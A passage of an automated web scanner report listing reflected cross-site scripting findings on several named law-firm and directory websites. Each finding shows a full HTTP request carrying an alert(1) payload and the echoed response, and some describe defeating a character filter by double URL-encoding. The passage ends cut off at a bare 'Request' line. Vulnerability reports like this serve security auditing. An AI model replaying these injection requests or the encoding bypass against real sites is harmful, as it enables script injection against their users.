HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: BACKLINK=%2CcontentID%3D42%26itemID%3D1478%2690bb3%22%2Dalert%281%29%2D%220eb36443031%3D1;expires=Fri, 11-Jan-2041 15:14:54 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUB ...[SNIP]... "text/javascript"> extra = "height="+screen.height+",width="+screen.width+",location=no"; function printWindow(){ window.open("http://www.skadden.com/PrintToPDF.cfm?print=1&contentID=42&itemID=1478&90bb3"-alert(1)-"0eb36443031=1","PDF",extra) }
function pdfWindow(url){ window.open(url,"PDF",extra); } </script> ...[SNIP]...
The value of the cc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4ab29'%3balert(1)//2894fafc0c6 was submitted in the cc parameter. This input was echoed as 4ab29';alert(1)//2894fafc0c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gypr.aspx?afid=1993&cc=54111051004ab29'%3balert(1)//2894fafc0c6&cr=3209505169&ct=Washington/x22 HTTP/1.1 Host: www.usdirectory.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:08 GMT Server: Microsoft-IIS/6.0 X-UA-Compatible: IE=EmulateIE7 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Set-Cookie: Lng=en; domain=usdirectory.com; expires=Sat, 19-Feb-2011 15:10:08 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 82130
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
...[SNIP]... var switch_open_once_only=1; function open_once_only(){ if(switch_open_once_only){ document.getElementById('nypr_iframe').src='ypr_iframe.aspx?afid=1993&cr=3209505169&oid=&cc=54111051004ab29';alert(1)//2894fafc0c6'; switch_open_once_only=0; } } function quicksearchform_onsubmit() { var form = document.forms.quicksearchform; var str = form.qhqn.value;
The value of the cr request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5878e'%3balert(1)//136c0518b8b was submitted in the cr parameter. This input was echoed as 5878e';alert(1)//136c0518b8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /gypr.aspx?afid=1993&cc=5411105100&cr=32095051695878e'%3balert(1)//136c0518b8b&ct=Washington/x22 HTTP/1.1 Host: www.usdirectory.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:19 GMT Server: Microsoft-IIS/6.0 X-UA-Compatible: IE=EmulateIE7 X-Powered-By: ASP.NET X-AspNet-Version: 1.1.4322 Set-Cookie: Lng=en; domain=usdirectory.com; expires=Sat, 19-Feb-2011 15:10:18 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 46986
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <m ...[SNIP]... xt/javascript"> var switch_open_once_only=1; function open_once_only(){ if(switch_open_once_only){ document.getElementById('nypr_iframe').src='ypr_iframe.aspx?afid=1993&cr=32095051695878e';alert(1)//136c0518b8b&oid=&cc=5411105100'; switch_open_once_only=0; } } function quicksearchform_onsubmit() { var form = document.forms.quicksearchform; var str = form.qhqn.value;
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6c40'%3balert(1)//dba4d06d54c was submitted in the REST URL parameter 4. This input was echoed as f6c40';alert(1)//dba4d06d54c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wps/portal/usa/rankingsf6c40'%3balert(1)//dba4d06d54c/individual HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 19 Jan 2011 15:10:14 GMT Server: IBM_HTTP_Server IBM-Web2-Location: /wps/portal/usa/!ut/p/c5/04_SB8K8xLLM9MSSzPy8xBz9CP0os3gzQ0u_YHMPIwP3YBNjA09fQ2M34wBvo2BvA30v_aj0nPwkkEon_XCQdiTl_oHGLgaeBsF-vsZmpj7GPoYQeQMcwNFA388jPzdVvyA7ySDLxFERAJrt8L0!/dl3/d3/L2dBISEvZ0FBIS9nQSEh/ Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Vary: User-Agent,Cookie,Accept-Encoding Set-Cookie: JSESSIONID=0000DmxfkY9YKAx1Q4mLBLNSFjN:140i3s34m; Path=/ Keep-Alive: timeout=10, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: NSC_xxx.wbvmu.dpn=ffffffffd2d89a6e45525d5f4f58455e445a4a423660;expires=Wed, 19-Jan-2011 15:12:18 GMT;path=/ Content-Length: 68250
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... ideGigyaLink:true , useHTML:true ,showWhatsThis: true ,containerID: 'loginDiv' ,redirectURL: 'http://' + window.location.hostname + '/wps/portal/usa/membership?mode=31&lastPage=/wps/portal/usa/rankingsf6c40';alert(1)//dba4d06d54c/individual' };
var conf = { APIKey: 'null' ,enabledProviders: 'facebook,twitter,yahoo,linkedin' };
var conf2 = { APIKey: 'null' ,enabledProviders: 'facebook,twitter,yahoo,linkedin,google ...[SNIP]...
4.128. http://www.vault.com/wps/portal/usa/rankings/individual [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.vault.com
Path:
/wps/portal/usa/rankings/individual
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8325'-alert(1)-'adbf0a50b51 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wps/portal/usa/rankings/individual?c8325'-alert(1)-'adbf0a50b51=1 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... :true , useHTML:true ,showWhatsThis: true ,containerID: 'loginDiv' ,redirectURL: 'http://' + window.location.hostname + '/wps/portal/usa/membership?mode=31&lastPage=/wps/portal/usa/rankings/individual?c8325'-alert(1)-'adbf0a50b51=1' };
var conf = { APIKey: 'null' ,enabledProviders: 'facebook,twitter,yahoo,linkedin' };
var conf2 = { APIKey: 'null' ,enabledProviders: 'facebook,twitter,yahoo,linkedin,google,messenge ...[SNIP]...
4.129. http://www.vault.com/wps/portal/usa/rankings/individual [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.vault.com
Path:
/wps/portal/usa/rankings/individual
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1411"><script>alert(1)</script>54ec8343c87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/usa/rankings/individual?e1411"><script>alert(1)</script>54ec8343c87=1 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the rankingId1 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72071"><script>alert(1)</script>cbaa09597bd was submitted in the rankingId1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=272071"><script>alert(1)</script>cbaa09597bd&rankingId2=-1&rankings=1®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the rankingId1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload aad31'-alert(1)-'06716bb157a was submitted in the rankingId1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2aad31'-alert(1)-'06716bb157a&rankingId2=-1&rankings=1®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the rankingId2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fa29d"><script>alert(1)</script>5276a27416 was submitted in the rankingId2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1fa29d"><script>alert(1)</script>5276a27416&rankings=1®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the rankingId2 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7c3ee'-alert(1)-'98bd799206f was submitted in the rankingId2 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-17c3ee'-alert(1)-'98bd799206f&rankings=1®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the rankings request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47dd0"><script>alert(1)</script>38ea02e91b3 was submitted in the rankings parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=147dd0"><script>alert(1)</script>38ea02e91b3®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the rankings request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9e5bc'-alert(1)-'f398cddff33 was submitted in the rankings parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=19e5bc'-alert(1)-'f398cddff33®ionId=0/x22 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the regionId request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86be1"><script>alert(1)</script>fd63fd4328b was submitted in the regionId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=1®ionId=0/x2286be1"><script>alert(1)</script>fd63fd4328b HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the regionId request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 631b6'-alert(1)-'bf48ddfbfb1 was submitted in the regionId parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=1®ionId=0/x22631b6'-alert(1)-'bf48ddfbfb1 HTTP/1.1 Host: www.vault.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <script type="text/javascript">var _sf_startpt=(new Dat ...[SNIP]... ID: 'loginDiv' ,redirectURL: 'http://' + window.location.hostname + '/wps/portal/usa/membership?mode=31&lastPage=/wps/portal/usa/rankings/individual?rankingId1=2&rankingId2=-1&rankings=1®ionId=0/x22631b6'-alert(1)-'bf48ddfbfb1' };
var conf = { APIKey: 'null' ,enabledProviders: 'facebook,twitter,yahoo,linkedin' };
var conf2 = { APIKey: 'null' ,enabledProviders: 'facebook,twitter,yahoo,linkedin,google,messenger' ...[SNIP]...
4.138. http://www.weil.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.weil.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ef2ab</script><script>alert(1)</script>803ebce93f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?ef2ab</script><script>alert(1)</script>803ebce93f8=1 HTTP/1.1 Host: www.weil.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html> <head> <title id="ctl00_htmlTitle">Weil, Gotshal & Man ...[SNIP]... <!-- window["ctl00_ctl04_cmbSearch"] = new RadComboBox("cmbSearch","ctl00_ctl04_cmbSearch");window["ctl00_ctl04_cmbSearch"].Initialize({"LoadOnDemandUrl":"/sitesearchstream.aspx?ef2ab</script><script>alert(1)</script>803ebce93f8=1&rcbID=ctl00_ctl04_cmbSearch&rcbServerID=cmbSearch","OnClientSelectedIndexChanged":"SelectedIndexChanged","OnClientDropDownOpening":"HandleOpen","OnClientFocus":"GotFocus","OnClientBlur":"GotBlur","O ...[SNIP]...
4.139. http://www.weil.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.weil.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cd131'-alert(1)-'83a7499dccf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?cd131'-alert(1)-'83a7499dccf=1 HTTP/1.1 Host: www.weil.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html> <head> <title id="ctl00_htmlTitle">Weil, Gotshal & Man ...[SNIP]... <![CDATA[ var myForm=document.forms['aspnetForm'];if(!myForm){myForm=document.aspnetForm;}myForm.action='/'+''+'Home.aspx?cd131'-alert(1)-'83a7499dccf=1';//]]> ...[SNIP]...
4.140. http://www.wileyrein.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.wileyrein.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 85981"><script>alert(1)</script>038dfd0999c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?85981"><script>alert(1)</script>038dfd0999c=1 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFID=18263798;expires=Fri, 11-Jan-2041 15:10:49 GMT;path=/ Set-Cookie: CFTOKEN=29109429;expires=Fri, 11-Jan-2041 15:10:49 GMT;path=/ Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 490d8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea3a95841ba2 was submitted in the REST URL parameter 1. This input was echoed as 490d8"><script>alert(1)</script>a3a95841ba2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css490d8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea3a95841ba2/_blog.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:21 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c8c9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e84fbe621327 was submitted in the REST URL parameter 2. This input was echoed as 1c8c9"><script>alert(1)</script>84fbe621327 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/_blog.css1c8c9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e84fbe621327 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:22 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86d6e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea6da1f2345d was submitted in the REST URL parameter 1. This input was echoed as 86d6e"><script>alert(1)</script>a6da1f2345d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css86d6e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea6da1f2345d/_list.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d81ed%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eda2c05f8831 was submitted in the REST URL parameter 2. This input was echoed as d81ed"><script>alert(1)</script>da2c05f8831 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/_list.cssd81ed%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eda2c05f8831 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdd5f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e672638c3b was submitted in the REST URL parameter 1. This input was echoed as bdd5f"><script>alert(1)</script>672638c3b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /cssbdd5f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e672638c3b/_main.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1b51%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e450c96039aa was submitted in the REST URL parameter 2. This input was echoed as f1b51"><script>alert(1)</script>450c96039aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/_main.cssf1b51%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e450c96039aa HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de5e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e848b9694317 was submitted in the REST URL parameter 1. This input was echoed as de5e6"><script>alert(1)</script>848b9694317 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
